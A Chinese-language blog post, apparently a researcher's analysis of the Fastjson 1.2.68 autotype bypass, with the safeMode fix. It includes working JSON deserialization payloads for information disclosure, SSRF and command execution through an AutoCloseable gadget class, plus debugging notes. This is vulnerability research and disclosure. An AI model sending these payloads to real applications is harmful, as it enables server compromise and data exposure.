Fastjson 1.2.68 bypass autotype

參考:
fastjson 1.2.68 最新版本有限制 autotype bypass

1.2.68加入了一個safeMode功能,默認未開啓,需要用戶手動開啓。以下利用在默認未開啓情況下可利用。
修復方法:

ParserConfig.getGlobalInstance().setSafeMode(true);

依賴:

        <!-- test for fastjson 1.2.68 autotype bypass -->
        <dependency>
            <groupId>org.seleniumhq.selenium</groupId>
            <artifactId>selenium-api</artifactId>
            <version>3.141.59</version>
        </dependency>

在這裏下斷點:
selenium-api\3.141.59\selenium-api-3.141.59.jar!\org\openqa\selenium\WebDriverException#getSystemInformation()
在這裏插入圖片描述

可以獲取到一些敏感信息:
PoC:

{"content":{"$ref":"$x.systemInformation"}, "x": {"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}}

在這裏插入圖片描述
還可以看到一些方法棧信息,看到一些服務端使用的框架的信息。

當然這個前提是需要WEB應用的classpath存在selenium-api

作者提出還有一個思路可以SSRF(當然也需要相應的classpath):
從mvn引入,或者自己寫一個類:

package org.joychou;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import java.net.URL;

public class DatasourceException extends Exception {

    public DatasourceException() {

    }

    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }

    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }
}

在這裏插入圖片描述
PoC:

{"@type":"java.lang.Exception","@type":"org.joychou.DatasourceException", "dataSource": {"@type": "java.net.URL", "val": "http://127.0.0.1:8888/fastjson"}}

在這裏插入圖片描述

細節

由於@type指定了爲java.lang.Exception
fastjson-1.2.68.jar!\com\alibaba\fastjson\parser\DefaultJSONParser#parseObject(Map object, Object fieldName)

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);

得到的deserializer 爲ThrowableDeserializer類型。
在這裏插入圖片描述

跟進:

obj = deserializer.deserialze(this, clazz, fieldName);

在這裏插入圖片描述

javax.activation.URLDataSource#getContentType
javax.activation.URLDataSource#getInputStream
調用兩次HTTP請求。

在這裏插入圖片描述

java.lang.AutoCloseable

寫一個實驗類:

package org.joychou.controller;

import java.lang.AutoCloseable;

public class TestReadable implements AutoCloseable{

    private String testString;

    public TestReadable(){}

    public void setTestString(String cmd) throws Exception{
        Runtime.getRuntime().exec(cmd);
        testString = cmd;
    }

    @Override
    public void close() throws Exception {
        System.out.println("test by cqq!");
    }
}

調試截圖:
在這裏插入圖片描述
在這裏插入圖片描述

發送json請求:

{"@type": "java.lang.AutoCloseable", "@type": "org.joychou.controller.TestReadable", "testString": "calc"}

在這裏插入圖片描述

所以漏洞利用條件:

  1. fastjson <= 1.2.68
  2. classpath裏存在直接/間接implements AutoCloseable的類
  3. gadget不在fastjson的黑名單中

參考

  • https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649724832&idx=1&sn=38221072dc8ab301622548a7308d7d0f&chksm=888ca7cfbffb2ed93ceafaa535c0363884235a27e641c5f94f929fd5bd94fb7b02a8be3795c9&mpshare=1&scene=1&srcid=&sharer_sharetime=1591869951942&sharer_shareid=fb0655fa709c1756a98023e565a61b64&key=8e631ad1dbd881d4a5dffda86edf406c1be31e25f9e8a0867791a585710b6ffbb109da05f70e97f1d3ccf75f664804e5fc40c9df8cc1f2105e7025d4a90180d7e957bf000f0233d1c23e98fda09e9cdf&ascene=1&uin=NDc2ODEzNjQw&devicetype=Windows+10+x64&version=62090070&lang=zh_CN&exportkey=A8ZJ0aVz90cAzXqY2BuK18c%3D&pass_ticket=i10K8KJHYA0zyynTnKP1nzyeK4xv5y7%2Bv29Gba2y3ajPWV5%2BIxSVbKTwv%2FezpPn6
  • https://mp.weixin.qq.com/s/w_QK-Q95wV_zeXYUu6lIgA
  • https://paper.seebug.org/1236/
  • https://b1ue.cn/archives/382.html

調用get方法,比如getInstance方法:

"instance":{"$ref":"$.instance"}

例如以下代碼:

JSON.parse(json);   // 默認不會調用getter 使用$ref就可以調用到getInstance()
//        JSON.parseObject(json); // parseObject默認就會調用getter getInstance()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章